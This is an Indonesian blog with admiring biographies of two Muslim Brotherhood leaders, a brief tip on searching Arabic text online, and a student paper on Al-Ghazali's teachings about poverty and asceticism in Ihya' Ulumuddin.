Selamat datang di SlendangWetan Institut, Blognya orang yang "sadar diri" !

1.02.2010

Syikh Umar Tilmisani (mursyid III Ikhwanul Muslimin, 1322-1406 H/1904-1986 M)

Syaikh Umar Tilmisani adalah sosok Ustadz Umar Abdul Fattah bin Abdul Qadir Mushthafa Tilmisani. Ia menjabat menjadi Mursyid ‘Am Ikhwanul Muslimin setelah wafatnya Mursyid ‘Am kedua, Hasan Al-Hudhaibi, bulan November 1973.

Tempat ,tanggal lahir dan Masa kecil Syaikh Umar Tilmisani.

Garis keturunan Syikh Umar Tilmisani berasal dari Tilmisan ,Al-jazair. Ia lahir di kota Kairo ,tahun 1322 H/1904,tepatnya di jalan Hausy Qadam,Al-Ghauriah. Ayah dan kakaknya pedagang kain dan batu permata.

Kakek Syaikh Umar Tilmisani seorang Salafi yang banyak mencetak buku-buku karya Syaikh Muhammad bin Abdul Wahab. Karena itu, ia tumbuh dan besar dilingkungan yang jauh dari bid’ah.

Syaikh Umar Tilmisani mengikuti Sekolah Dasar di Sekolah yang di kelola yayasan sosial tingkat menengah dan atas di Madrasah Ilhamiyah, kemudian masuk Fakultas Hukum.

Tahun 1933, Syaikh Umar Tilmisani tamat dari Fakultas Hukum, kemudian mendirikan kantor pengacara di Syabin Al-Qanathir dan bergabung dengan jama’ah ikwanul Muslimin.

Syaikh Umar Tilmisani pengacara pertama yang bergabung dengan Ikhwan, mewakafkan pemikiran, dan potensi untuk membelanya.Ia termasuk orang dekat Asy-Syahid Hasan Al-Banna. Ia sering menyertai Al-Banna dibeberapa lawatan, baik di dalam maupun di luar Mesir. Bahkan, Al-Banna sering meminta bantuannya dalam menyelesaikan beberapa masalah.

Syaikh Umar Tilmisani menikah saat duduk di bangku Sekolah Menengah Atas. Istrinya wafat bulan Agustus 1979, setelah menyertainya setengah abad lebih. Dari pernikahan ini iIa dikaruniai empat orang anak; Abid,Abdul Fattah, dan dua putri.

Kesibukan Syaikh Umar Tilmisani sebagai pengacara tidak membuatnya lupa memperkaya diri dengan ilmu pengetahuan. Ia banyak menelaah beragam ilmu, seperti tafsir, hadits, fiqh, sirah, tarikh, dan biografi para tokoh.

Syikh Umar Tilmisani selalu mengikuti perkembangan berbagai konspirasi musuh Islam, baik di dalam maupun di luar negeri. Ia rajin mewaspadai, mengkaji, menentukan sikap, menentang konspirasi dengan bijaksana dan nasihat yang baik, membantah tuduhan-tuduhan, mementahkan ungkapan-ungkapan, dan mengikis syubhat-syubhatyang dibuatnya, dengan kepercayaan diri orang mukmin yang tahu ketinggian nilai agamanya dan kehinaan di selain Islam. Sebab, tiada penolong setelah Allah ta’ala dan tiada agama yang diridhoi Allah selain Islam.

Komitmen diri Syaikh Umar Tilmisani

Syaikh Umar Tilmisani meninggalkan kesan positif pada orang-orang yang mengenal atau berhubungan dengannya. Ia di karuniai kelebihan hati, kebersihan jiwa, kehalusan ucapan, keluasan ucapan yang keluar dari lisan, keindahan pemaparan, teknik berdebat, dan berdialog yang sangat baik.

Syaikh Umar Tilmisani menceritakan komitmen dirinya, “kekerasan dan ambisi untuk mengalahkan orang lain tidak pernah menemukan jalan untuk masuk ke dalam aklakku. Karena itu, saya tidak bermusuhan dengan siapa pun, kecuali dalam rangka membela kebenaran, atau menerapkan Kitab Allah Ta’ala. Kalaupun ada permusuhan, maka itu berasal dari pihak mereka, bukan dariku. Saya menyumpah diriku untuk tidak menyakiti seorang pun dengan kata-kata kasar, meski saya tidak setuju dengan kebijakannya, atau bahkan ia menyakitiku. Karena itu, tidak pernah terjadi permusuhan antara diriku dengan seseorang karena masalah pribadi.”
Tidak berlebihan kalau saya bahwa siapa pun yang keluar dari majelisnya, pasti mengagumi, menghormati, dan mencintai dai unik yang menjadi murid Imam Hasan Al-Banna ini, lulus dari madrasahnya, dan bergabung dengan jamaahnya sebagai dai yang tulus dan iklash.

Akhlak dan Sifat Syaikh Umar Tilmisani

Syikh Umar Tilmisani sangat pemalu, seperti diketahui orang-orang yang melihatnya dari dekat.

Orang yang sering duduk dan berdialog dengan Syaikh Umar Tilmisani merasakan bahwa keras dan lamanya ujian yang ia alami di penjara, malah mensterilkan dirinya, hingga tiada tempat di dalam dirinya selain kebenaran. Ia mendekam di balik jeruji besi selama hampir dua puluh tahun. Ia masuk penjara pertama kali tahun 1948. masuk lagi tahun 1954. Namun, ujian-ujian itu tidak mempengaruhi dirinya, dan bahkan menambah ketegasan dan ketegarannya.

Di wawancara dengan majalah Al-Yamamah Arab Saudi, edisi tanggal 14 januari 1982, Syaikh Umar Tilmisani berkata,”Tabiat yang membesarkanku membuatku benci kekerasan, apapun bentuknya. Ini bukan hanya sekedar sikap politik, tapi sikap pribadi yang yang terkait langsung dengan struktur keberadaanku. Bahkan, andai dizalimi, saya tidak akan menggunakan kekerasan. Mungkin, saya menggunakan kekuatan untuk mengadakan perubahan, tapi tidak untuk kekerasan.”

Nasihat-nasihat Syaikh Umar Tilmisani

Di untaian nasehat yang disampaikan di depan generasi muda, dai Ikhwan,Ikhwan, dan lainnya, Syaikh Umar Tilmisani berkata, “Tantangan yang menghadang dai saat ini, sangat berat dan sulit. Kekuatan materi berada di tangan musuh-musuh Islam yang bersatu untuk memerangi umat Islam, meskipun mereka memiliki kepentingan berbeda. Jama’ah Ikhwanul Muslimin sekarang menjadi sasaran tembak mereka.

Menurut perhitungan manusia, pasukan Thalut yang beriman tidak mampu melawan Jalut dan tentaranya. Tapi, ketika pasukan kaum mukmin yakin kemenangan itu datang dari Allah Ta’ala, bukan hanya tergantung pada jumlah personil dan kelengkapan persenjataan, maka mereka dapat mengalahkan pasukan Jalut dengan seizin Allah Ta’ala.

Saya tidak meremehkan kekuatan personil. Juga tidak meminta dai selalu bungkam, berdzikir dengan menggerakkan leher kekanan dan kekiri, memukulkan telapak tangan, dan berpangku tangan. Sebab, itu semua bencana yamg membahayakan dan mematikan.

Sesungguhnya, yang saya inginkan adalah berpegang teguh dengan wahyu Allah Ta’ala, berjihad dengan kalimat yang benar, tidak menghiraukan gangguan, menjadikan diri sebagai teladan dalam kepahlawanan, bersikap ksatria, tegar,dan yakin bahwa Allah Ta’ala pasti menguji hamba-hamba-Nya dengan rasa takut,lapar, kekurangan harta, jiwa, dan buah-buahan, agar dapat diketahui siapa yang tulus dan siapa yang munafik. Aspek-aspek inilah yang merupakan penyebab kemenangan. Kisah-kisah Al-Qur’an ialah argumen paling baik dalam masalah ini.

Semangat pemuda yang diiringi pemahaman mendalam tidak memerlukan banyak eksperimen. Tapi, sangat membutuhkan kesabaran, kekuatan komitmen pada aturan-aturan Al-Qur’anul karim, dan telaah sirah generasi pendahulu yang telah menerapkannya di setiap aktivitas mereka. Itu penting, agar Allah Ta’ala mengaruniakan kemenagan, kemuliaan, dan kekuasaan yang hampir dianggap mustahil.”

Muhammad Kamaluddin A-Sananiri (Dai dan Mujahid, 1336-1401 H/1918-1981)

Assalamu'alaikum teman-teman, sudah lama saya tidak mengupdate blospot ini.ya...maklumlah lagi ngurusin ummat, ummta yang mana nih...??? :-). sebagai awalannya aku coba kupas kembali sejarah sigkat seorang Pemikir Islam Kontemporer Syakh Muhammad Kamaluddin A-Sananiri. semoga bermanfaat. selamat membaca.


Wassalam..!

Slendangwetan


Muhammad Kamaluddin A-Sananiri

(Dai dan Mujahid, 1336-1401 H/1918-1981)

Muhammad Kamaluddin A-Sananiri lahir di Kairo tanggal 11 Maret 1918. Ia dibesarkan dari keluarga yang berkecukupan. Mengenyam studi ditingkat dasar dan menegah. Tahun 1934 bekerja di Departemen Kesehatan bagian Penanggulangan Penyakit Malaria. Tahun 1938, ia dipecat dari Departemen Kesehatan, kemudian berencana meneruskan kuliah di Universitas Amerika, jurusan farmasi, agar dapat bekerja di Apotik Al-Istiqal milik ayahnya. Tetapi salah seorang tokoh agama berhasil meyakinkannya agar tidak berangkat ke Amerika, sebab ada beberapa kerugian menyangkut keberadaannya di Amerika.

Keterkaitan Muhammad Kamaluddin As-Sananiri dengan Ikhwanul Muslimin

Muhammad Kamaluddin As-Sananiri bergabung dengan jamah Ikhwanul Muslimin pada tahun 1941. Karena paham, ikhlas, dan dinamis, ia lebih menonjol di kalangan anggota-anggota Ikhwan seusianya. Bahkan ia banyak mendapatkan tugas. Muhammad Kamaluddin As-Sananiri murid yang setia pada prinsip-prinsip gurunya, Imam Asy-Syahid Hasan Al-Banna. Ia memahami jalan dakwah dipenuhi ancaman, duri, dan rintangan. Sebab, itulah jalan menuju surga, jalan yang dipenuhi dengan hal-hal yang tidak mengenakkan.

Muhammad Kamaluddin As-Sananiri menghafal dan mengulang-ulang ungkapan seorang guru pada muridnya,“Ketidaktahuan rakyat pada hakikat Islam akan menjadi kendala bagi kalian. Ulama resmi yang menjilat pada penguasa akan memusuhi kalian. Setiap pemerintah berusaha membatasi aktivitas kalian dan memasang gangguan di jalan yang kalian tempuh. Mereka akan meminta bantuan dengan menjilat orang-orang yang berjiwa lemah dan berhati sakit. Sebaliknya, akan berlaku kasar dan beringas pada kalian. Karena itu, kalian akan di pejara, disiksa, diusir, rumah-rumah kalian digeledah, harta kalian dirampas, dan tuduhan kejih dilontarkan kepada kalian, dengan harpan wibawah kalian akan hilang. Mungkin, ujian itu kan berlangsung lama. Sadarilah, saat itu kalian baru mulai menapaki jalan yang telah ditempuh para mujahid.”

Muhammad Kamaluddin As-Sananiri mampu menerjemahkan ungkapan tersebut dalam realita kehidupan. Ia dan beberapa saudaranya benar-benar merasakan yang tergambar dalam ungkapan itu selama seperempat abad di penjara. Meskipun berada dalam gelapnya jeruji besi dan ganasnya cambukan cemeti, mereka tidak pernah menyerah dan mengucapkan sepatah kata pun. Justru, dzikir kepada Allah selalu menghiasi lisan meraka. Mereka merasa Allah selalu bersama dan menjaga meraka. Karena itu, meskipun disiksa mereka menikati siksaan. Ujian tidak memberi pengaruh kecuali menjadikan mereka semakin dekat kepada Allah dan rindu kepada-Nya.

Ayahnya wafat dengan meninggalkan keluarga yang tgerdiri dari seorang ibu, tiga anak laki-laki dan tiga anak perempuan. Karena itu, menjadi penganti ayahnya, memberikan belanja kepada keluarga. Demikianlah, akhirnya ia memikul tugas-tugab dakwah dan keluarga. Tapi, ia ridha dengan apa yang telah ditentukan oleh Allah untuknya berusaha memenuhi kebutuhan kelurga, dan tetap aktif di kegiatan-kegiatan dakwah. Ia menanam tanaman yang mendatangkan buah di masa depannya.

Ketika musuh Islam membuat konspirasi untuk dakwah dan tokoh-tokohnya, ia mendapat ujian, sebagaimana yang dialami saudara-saudara seperjuangannya. Tangal 28 Februari 1954, massa bergerak menuju Istana Abidin untuk menyerukan kemerdekaan yang telah dipasaung dan dirampas Abdun Naser dan kaki tanganya. Muhammad Kamaluddin As-Sananiri punya peran penting dalam menata dan mengkoodinasikan demo besar tersebut. Tragisnya, demonstrasi yang diikuti ratusan ribu massa dan dikomandani Asy-Syahid Abdul Qadir Audah ini dihujani peluru, hingga banyak demonstran yang syahid.

Kaki tangan pengausa selalu memata-matai aktivis yang menjadi koordinator demo yang diantarannya adalah Muhammad Kamaluddin As-Sananiri. Karena itu, ia ditangkap dan mahkama lelucon menjatuhkan hukuman kerja paksa selama dua puluh tahun.

Ia di tangkap bukan Oktober 1954 dan dibebaskan pada bulan Januari 1973. pembebasannya bukan atas jasa Anwar Sadat. Sebab, pada masa Sadat ia masih di penjara Al-Wahat, dijemur di bawah terik matahari yang membakar, ditempatkan di padang pasir yang membara, dan disuruh berjalan di padang pasir yang panas membara tanpa alas kaki.

Setelah hukan penjara ditetapkan, mereka menekan istri dan ibunya, agar membujuknya bersikap lunak dan menulis dua baris kalimat dukungan pada Abdun Naser. Ia tidak bergeming sama sekali. Ketika sang ibu yang berusia tujuh puluh tahun itu menangis dan memintanya untuk mengajukan permintaan maaf kepada pemerintah, ia menjawab dengan lembut, “Bagaimana nasibku di hadapan Allah, apabila saya mengemis surat ini pada Abdun Naser, kemudian saya mati? Apakah ibu ridha saya mati dalam keadaan musyrik?”

Muhammad Kamaluddin As-Sananiri memberi pilihan kepada istrinya untuk tetap menjadi istrinya atau bercerai. Istrinya menitikkan air mata dan berkata, “Saya pilih tetap menjadi istrimu, wahai kekasihku!”

Penangkapan Dan Pemanjaraan Muhammad Kamaluddin As-Sananiri

Ketika dalam penjara ia mendapatkan penyiksaan keji, hingga salah satu telinganya cidera. Karena itu, ia dipindahkan ke Rumah sakit Al-‘Aini. Keluar dari penjara ia memuji Allah karena telinganya yang cidera dapat mendengar lebih baik dari pada yang tidak cidera.

Saudara ipar dari istrinya yang dicerai juga masuk penjara bersama Muhammad Kamaluddin A-Sananiri. Ketika ia menyaksikan siksaan keras yang menimpa Muhammad Kamaluddin A-Sananiri, ia bengong dan hilang akal, hingga di bawa ke rumah sakit saraf.

Ibu dan saudari tertua Muhammad Kamaluddin A-Sananiri selalu menghadiri mahkama lelucon yang mengadilinya tahun 1954. pada sidang pertama sang ibu tidak mengenali purtanya, karena perubahan fisiknya akibat siksaan. Sang ibu bertanya kepada anak putrinya, “Mana saudaramu?” Purtrinya menjawab, “Dia yang dikurungan itu!” Sang ibu berkata, “Bukan wai putriku. Apakah mataku sudah rabun hingga tidak bisa mengenalinya?”

Tubuh Muhammad Kamaluddin A-Sananiri sangat kurus, hingga pakainnya menjadi longgar. Thaghut Mesir mencukur habis jenggotnya, merontokkan rahang dan menciderai telingganya, hingga sang ibu tetap bersikeras bahwa yang disidang bukan anaknya, Muhammad Kamaluddin A-Sananiri.

Pernikahan di Penjara

Pada masa penahanan yang panjang,. Muhammad Kamaluddin A-Sananiri melangsungkan pernikahan dengan wanita mulia, Aminah Quthb, saudari kandung Sayyid Quthb. Keduanya baru dapat berkumpul bersama setelah Muhammad Kamaluddin A-Sananiri keluar dari penjara tahun 1973. ia tidak dikaruniai keturunan dari perkawinan tersebut, karena usia Aminah sudag lebih dari lima puluh tahun.

Sifat Zuhud dan Wara’ Muhammad Kamaluddin A-Sananiri

Muhammad Kamaluddin A-Sananiri lebih menyukai kesederhanaan dan mencintai orang-orang lugu. Ia membimbing dan mengajarkan aqidah murni yang bersih dari bid’ah dan khurafat kepada mereka. Ia zuhud terhadap kehidupan dunia. Malam ia gunakan untuk qiyamullail dan sebagian besar siang untuk berpuasa. Saat di penjara, ia hanya mengunakan pakaina kasar dan lusuh.

Tidak heran, kalau lelaki yang cara hidupnya seperti itu enggan meuruti bujukan dan ancaman sipir serta intel pemerintah, agar memberi dukungan kepada Gamal Abdun Naser, meski peluang untuk mengambil rukhshah ada.

Muhammad Kamaluddin A-Sananiri buah madrasah Hasan Al-Banna, saudara yang tulus yang sulit ditemukan pada masa ini. Orang-orang seperti inilah tumpuan harapan umat. Kader seperti inilah yang dapat menyelamatan umat dari keterbelakangan, membangun mereka dari tidur panjang, dan mengembalikan mereka pada manhaj Ar-Rahman.

Ketika kembali dari Afghanistan, Muhammad Kamaluddin A-Sananiri ditangkap dan disiksa oleh sipir penjara, untuk mengetahui perannya bersama saudara-saudaranya jihad di Afghanistan. Tidak sepatah kata pun keluar dari lisannya, meski siksaan tiada henti dan semakin sadis. Akhrinya, iamenghembuskan nafas terakhirnya sebagai syahid sejati, insya Allah, tanggal 8 November 1981.

Muhammad Kamaluddin A-Sananiri senantiasa disiksa durjana yang dipimin penjagal Hasan Abu Pasha. Masa-masa terakhir menjelang syahidnya adalah puncak zuhudnya terhadap dunia dan kerinduannya kepada surga.

Muhammad Kamaluddin A-Sananiri jatuh di depan algojo yang memaksanya mencadi berbagai jamaah Islam. Meski demikian ia selalu mengatakan “ Sadat telah menggalu kuburanya sendiri saat mendatangani perjanjian menghinakan (Camp David). Perjanjian yang berisi penyerahan leher Mesir kepada Israil dan Amerika.” (Majalah Al-Mujtama’, 11 November 1981)

Istri Muhammad Kamaluddin A-Sananiri, Aminah Quthb, menulis syair sendu untuk mengenang kepergiannya,

“aku tidak lagi menunggu yang kembali bersama jadwal sore

aku tak berhias menyambut yang kembali bersama harapan

aku tidak menanti yang datang, ungkapan, dan pertemuan

aku tidak menanti langkahmu yang datang setelah bertugas

aku menyinari tangga kerinduan yang semakin membahagiakan

aku tidak lagi bergegas menyambut senyummu, meski letih

menyinari rumah dengan salam yang penuh kehangatan

detik-detik berulang, tetepi bagaiman kita bertemu di sore hari?

mata ku tertidur dengan tenang, tidak terganggu ujian

telingaku tidak lagi mendengar lantunan doa-doa mu

pendengaran ku tidak lagi menangkap suara adzan di angkasa

aku bertanya kepada dunia, Adakah yang mendengar suaraku?

tahukah kamu, kerinduanya pada surga atau cinyanya kepada langit?

apakah ini janji Allah?

apakah waktu pemenuhan janji sudah tiba?

hingga aku berlari seperti orang rindu dan kasmaran pada seruan?

apakah aku dapat bertemu pada kekasih disana?

bagaimana model pertemuannya?

di hadapan Allah di surga Firdaus yang dikucuri karunia?

apakah di rumah hakiki kalian berkumpul dan berlindung?

bila ya, selamat datang kematian dan kucuran darah

aku akan menemui kalian di sana, dan lenyaplah rumah kesengsaraan

ya, aku akan menemui kalian. Ini janju yang akan ditepati

kami diberi pahala dalam hari-hari yang berlalu dengan air mata dan ujian

kami berlindung dalam surga, hingga tak takut berpisah atau binasa”

Semoga Allah ta’ala merahmati ustadz ita, Muhammad Kamaluddin A-Sananiri, dengan rahmat yang luas dan mempertemuakan kita dengannya bersama para nabi, shiddiqin, syuhada dan shalihin. Karena mereka sebaik-baik teman.

2.11.2009

Nulis Arab tanpa keyboard atau software

Saya sering ditanya teman-teman kuliah (IAIN) bagaiman cara mencari tulisan berteks arab..ya mentang-mentang aku sering kewarnet.termasuk teman yg di pascasarjana mau cari artikel2 berbahsa arab.
Setalah lama searching di google, akhirnya ku temukan jugu situs yang kasih petunjuk agar mudah mencari tulisan yang berbahasa Arab tanpa mengunakan keyboard tambahan (http://kamus.javakedaton.com/), kayak yang ada di bagain bawah blog ini.
Namun yang ini berbedanya ini langsung dari web n langsung mencari tulisan tanpa harus mengkopinya satu persatu. klik ja di sini. atau langsung searching di google di sini atau melalui situs yamil Arabic search klik di sini..

12.02.2008

Kajian Teks Tentang Ihy' Ulumuddin Bab Fakir dan Zuhud


PENDAHULUAN

Imam Al-Ghazali adalah tokoh Islam yang sangat terkenal, disamping sebagai ahli tasawuf beliau juga terkenal sebagai seorang filsuf Islam meskipun ia lebih tersohor sebagai ahli tasawuf. Tidak banyak orang khususnya umat Islam mengetahui bahwa beliau (Al-Ghazali) selain sebagai ahli dalam bidang ruhani (ilmu kebatinan) beliau juga ahli dalam bidang filsafat. Seperti yang dituliskan oleh Za’szuk (pengamat dan peniliti Al-Ghazali dari sudut filsafat) mengatakan bahwa teori skeptis Descrat itu mencontoh dari teori-teori Al-Ghazali (sayangnya penulis lupa judul buku yang ditulis oleh Za’zuk)

Melihat nama besar beliau terutama pada kitab terkenalnya yaitu IHYA’ UMULLUDDIN yang tak terlepas dari kritikkan terutama dari kalangan salafi, Al-Ghazali mampu mengkaver ikhawal yang berkenaan dengan kehidupan manusia dengan Tuhannya hingga sampai hal yang terkecil pun, yaitu fakir dan zuhud. Maka dalam makalah ini penulis akan mencoba mereviuw kebali mengenai hakekat fakir, menjelaskan tentang keutamaan fakir secara mutlak, haramnya meminta tanpa dharutat

Lalu makalah ini juga akan membahas (mereviuw) kembali mengenai hal – hal yang berhubungan dengan penjelasan hakekat zuhud, penjelasan keutamaan zuhud, penjelasan derajat zuhud dalam makanan, pakaian, tempat tinggal, perabot – perabot dan berbagai macam penghidupan dan penjelasan tanda – tanda zuhud.


BAGIAN PERTAMA

TENTANG FAKIR

Dalam kitab Ihya’ Ulumuddin, Imam Al-Ghazali menjelaskan bahwa fakir itu adalah orang yang tidak memiliki harta sama sekali. Kemudian Imam Al-Ghazali mengkasifikasikan hakikat fakir itu dan memberinya masing-masing nama ;

Hal yang pertama, adalah jika orang itu diberi harta, orang itu tidak menyukainya dan orang itu merasa tersiksa dengan harta tersebut. Maka orang itu disebut zuhud

Hal yang kedua, ialah orang tersebut tidak menyukai harta walaupun orang itu berhasil memperoleh harta tersebut dengan penuh kesenangan. Tapi orang tersebut tidak membenci dengan harta yang diperolhnya itu, maka ia disebut rela

Hal yang ketiga, yaitu orang tersebut diberi harta namun tidak sampai harta tersebut menggerakkan orang itu untuk mencarinya, tapi orang itu tetap mau mengambilnya.maka sifat itu disebut qona’ah.

Hal yang keempat, orang tersebut lemah dalam mencari harta namun ia tetap mau mencarinya walupun dengan bersusah payah, hanya karena kerakusannya. Orang ini disebut rakus harta.

Hal yang kelima, orang tersebut tidak memiliki harta sama sekali kalaupun ada orang tersebut masih saja dibilang telanjang kalaupun memakai pakaian. Maka orang itu disebut ‘terpaksa’ ( Drs. H. Moh. Zuhri, Dipl, TAFL, Ihya’ Ulumuddin Jilid VIII (Imam Al-Ghazali), Semarang : CV. ASY-SYIFA’, 2003 )hal 127-128.

Al-Ghazali dalam kitabnya banyak menyetir hadits-hadits yang bagi penulis tidak jelas perowinya, menunjukkan keutamaan-keutamaan orang fakir. Seperti dalam hadits yang ada dalam buku berjudul ‘RINGKASAN IHYA’ UMULUDDIN AL-ghazali’ tertulis bahwa ada sebuah hadis dari

Haids dari Imran bin Husain diriwayatkan oleh Ibnu Majah bahwa Rasulullah saw bersabda, ‘ Sesungguhnya Allah menyintai orang fakir yang menjaga kehormatan diri, yang menjadi bapak keluarga.’

Dalam hadis lain Rasulullah saw juga bersabda,’ orang-orang fakir dari umatku masuk surga sebelum orang-orang kaya dari mereka dengan selisih waktu lima ratus tahun.’

Diriwayatkan oleh At-Turmidzi dari Abu Umamah bahwa Rasulullah menceritakan pengalamannya bertemu dengan malaikat Jibril. Malaikat Jibril berkata kepada Rasulullah saw,’ wahai Muhammad, sesungguhnya Allah swt menyampaikan salam kepadamu. Dia berfirman : apakah engkau menginginkan jika Aku menjadikan gunung sebagai emas dan selalu bersamamu ?’ Rasulullah menjawab,’ sesunggunya dunia hanyalah kampung bagi orang yang tidak memiliki harta dan harta hanya dikumpulkan bagi orang-orang yang tidak mempunyai akal,’ Jibril a.s berkata, ‘wahai Muhammad, semoga Allah meneguhkan engkau dengan kalimat yang teguh ( hikmah ).’

Dalam hadis lain disebutkan,’ para nabi yang paling akhir masuk surga adalah Sulaiman putra Dawud as karena kedudukan kerajaannya. Dan sahabatku yang paling akhir masuk surga adalah Abdurrrahman bin Auf karena harta kekayaannya.’

Orang-orang fakir yang ikhlas dan tak berkeluh kesah menghadapi keadaannya adalah manusia yang paling utama. Ia tenang dan qanaah dari apa yang diterimanya atas karunia Allah. Karena itu Rasulullah saw bersabda,’berbahagialah orang yang mendapatkan petunjuk kepada Islam dan kehidupannya merasa cukup (tidak menjadi beban orang lain) dan puas apa yang ada.

Rasulullah saw bersabda,’wahai golongan orang-orang yang fakir, berikanlah keridhaan dari hati kamu kepada Allah pasti kamu akan mendapatkan kebahagiaan dengan pahala kefakiran. Apabila tidak kamu tidak memperolehnya.’

Orang fakir yang qanaah dan ikhlas akan mendapatkan pahala. Sedangkan fakir yang rakus sama sekali tidak mendapatkan pahala dari kemiskinannya itu. Diterangkan bahwa orang-orang fakir yang sabar akan duduk berkumpul dan dekat dengan Allah di hari kiamat. Rasulullah saw bersabda,’ sesungguhnya setiap sesuatu itu mempunyai kunci. Adapun kunci surga adalah menyintai orang-orang miskin dan orang-orang fakir, karena kesabaran mereka. Mereka adalah orang-orang yang duduk berkumpul dekat Allah pada hari kiamat.’

- Keutamaan fakir atas kaya

Bahwasanya manusia itu bertentangan pendapat tentang ini. Abu Qasim al-Junaidi, Ibrahim bin Ahmad al-Khawwash dan kebanyakan ulama berpendapat pada keutamaan fakir melebihi kaya. Abul Abbas Ahmad bin Muhammad bin Atha’ berkata : «’orang kaya yang bersyukur yang terdiri dengan kebenaran itu lebih utama daripada orang fakir yang bersabar’.


BAGIAN KEDUA TENTANG ZUHUD

Dalam islam Zuhud mempunyai pengertian khusus, zuhud bukanlah kependetaan atau terputusnya hubungan duniawi. Akan tetapi ia adalah hikamh, pemahaman yang membuat para penganutnya mempunyai pandangan khusus terhadap kehidupan duniawi, dimana mereka tetap bekerja dan berusaha, akan tetapi kehidupan duniawi itu tidak menguasai kecenderungan kalbu mereka, serta tidak membuat mereka mengingkari Tuhannya. ( Abu al-Wafar al-Ghunnimi al-Taftazani, 1985 : 54).

Zuhud membebaskan dirinya secara penuh dari segala hal yang menghalangi kebebasannya.

Hasan Al-Baghry : dunia merupakan tempat kerja bagi orang yang diseratai perasaan tidak senang dan tidak butuh kepadanya, dan dunia merasa bahagia bersamanya/ dalam menyertainya. Barang siapa menyertainya dengan perasaan ingin memilikinya, dan mencintainya, dia akan dibuat menderita oleh dunia serta diantarakan pada hal-hal yang tidaj tertanggungkan oleh kesabarannya. ( ‘abd al-wahhab al- Sya’ranni. H : 72).

Sesungguhnya zuhud terhadap dunia adalah suatu maqam ( kedudukan) yang mulia diantara kedudukan orang – orang yang menempuh jalan akherat. Orang disebut zuhud karena hatinya tidak tertarik dengan harta kekayaan duniawa. Orang itu lebih tertarik dengan kepentingan akheratnya.

Tanda-tanda zuhud, kadang-kadang ada yang berpendapat bahwa mwninggalkan harta itu zuhud. Sebenarnya tidaklah seperti itu. Karena meninggalkan harta dan menimbulkan keburukan itu sangat mudah dilakukan oleh orang-orang yang ingin dianggap zuhud. Banyak orang-orang yang makan sedikit, dan hidup sangat sederhana-bahkan-miskin lalu tekun beribadah dan ia mendapat pujian dan predikat sebagai zuhud. Kemudian ia merasa sangat senang dipuji demikian. Hal yang demikian bukanlah yang dimaksudkan zuhud. Secara lahiriah mereka zuhud, namun secara batiniah bahwa jiwanya dipenuhi oleh sifat riya’ dan ujub. Mereka mengikuti hawa nafsunya.

Oleh karena itu mengetahui zuhud adalah sukar. Bahkan mengetahui apakah seseorang itu benar-benar zuhud pun sangat sulit. Yang penting adalah berpegang pada batin. ( Abu Fajar al-Qalami, Ringkasan IHYA’ ULUMUDDIN (imam al-Ghazali) Surabaya : Gitamedia Press, 2003) hal 343.

Ada tiga tanda Zuhud yang dirasakan dalam batin seseorang :

  1. seseorang tidak merasa gembira terhadap sesuatu yang ada di depannya ( harta dan sebagainya) dan tidak akan sedih jika sesuatu itu tidak ada di depannya. Sebagaimana firman Allah ,’ Supaya kamu jangan berduka cita terhadap apa yang terlepas darimu dan agar kamu jangan gembira terhadap sesuatu yang diberikan kepadamu.’ QS al-Hadid 23.
  2. seseorang tidak risau jika dicela dan tidak berbangga hati jika dipuji. Mendapat pujian atau hinaan sama saja dalam bersikap.
  3. merasa sangat cinta kepada Allah dan perasaan itu membuat ketaatannya menjadi sangat kuat.

Imam al-Ghazali mengatakan ,’zuhud berarti membenci dunia demi mencintai akherat. Zuhud bisa juga berarti membenci selain Allah demi mencintai Allah.’

Zuhud menurut Nabi serta para sahabatnya, tidak berarti berpaling secara penuh dari hal-hal duniawi. Tetapi berarti sikap moderat atau jalan tengah dalam menghadapi segala sesuatu, sebagaimana diisyaratkan firman – firman Allah yang berikut : ”Dan begitulah Kami jadikan kamu (umat Islam) umat yang adil serta pilihan”. “Dan carilah apa yang dianugerahkan Allah kepadamu dari (kebahagiaan) negeri akhirat dan janganlah kamu melupakan bagianmu dari (kenikmatan) duniawi”. Sementara dalam hadits disabdakan : “Bekerjalah untuk duniamu seakan kamu akan hidup selamanya, dan bekerjalah untuk akhiratmu seakan kamu akan mati esok hari”

Zuhud disini berarti tidak merasa bangga atas kemewahan dunia yang telah ada ditangan, dan tidak merasa bersedih karena hilangnya kemewahan itu dari tangannya. Bagi Abu Wafa al-Taftazani, zuhud itu bukanlah kependetaan atau terputusnya kehidupan duniawi, akan tetapi merupakan hikmah pemahaman yang membuat seseorang memiliki pandangan khusus terhadap kehidupan duniawi itu. Mereka tetap bekerja dan berusaha, akan tetapi kehidupan duniawi itu tidak menguasai kecenderungan kalbunya dan tidak membuat mereka mengingkari Tuhannya. Lebih lanjut at-Taftazani menjelaskan bahwa zuhud adalah tidak bersyaratkan kemiskinan. Bahkan terkadang seorang itu kaya, tapi disaat yang sama diapun zahid. Ustman bin Affan dan Abdurrahman ibn Auf adalah para hartawan, tapi keduanya adalah para zahid dengan harta yang mereka miliki.

Berbicara tentang arti zuhud secara terminologis menurut Prof. Dr. Amin Syukur, tidak bisa dilepaskan dari dua hal. Pertama, zuhud sebagai bagian yang tak terpisahkan dari tasawuf. Kedua, zuhud sebagai moral (akhlak) Islam dan gerakan protes. Apabila tasawuf diartikan adanya kesadaran dan komunikasi langsung antara manusia dengan Tuhan sebagai perwujudan ihsan, maka zuhud merupakan suatu station (maqam) menuju tercapainya “perjumpaan” atau ma’rifat kepada-Nya. Dalam posisi ini menurut A. Mukti Ali, zuhud berarti menghindar dari berkehendak terhadap hal – hal yang bersifat duniawi atau ma siwa Allah. Berkaitan dengan ini al-Hakim Hasan menjelaskan bahwa zuhud adalah “berpaling dari dunia dan menghadapkan diri untuk beribadah melatih dan mendidik jiwa, dan memerangi kesenangannya dengan semedi (khalwat), berkelana, puasa, mengurangi makan dan memperbanyak dzikir”. Zuhud disini berupaya menjauhkan diri dari kelezatan dunia dan mengingkari kelezatan itu meskipun halal, dengan jalan berpuasa yang kadang – kadang pelaksanaannya melebihi apa yang ditentukan oleh agama. Semuanya itu dimaksudkan demi meraih keuntungan akhirat dan tercapainya tujuan tasawuf, yakni ridla, bertemu dan ma’rifat Allah swt.


PENUTUP/KESIMPULAN

Dari pemaparan di atas dapat kita petik dan ambil kesimpulan-kesimpulan. Kesimpulan mengenai fakir oleh imam al-Gazali dalam kitabnya yang terkenal yaitu Ihya’Ulumuddin memberikan kontribusi bagi kita bahwa fakir dalam pandangan sufi itu memiliki derajat yang sangat tinggi sekali dibandingkan dengan orang yang kaya.

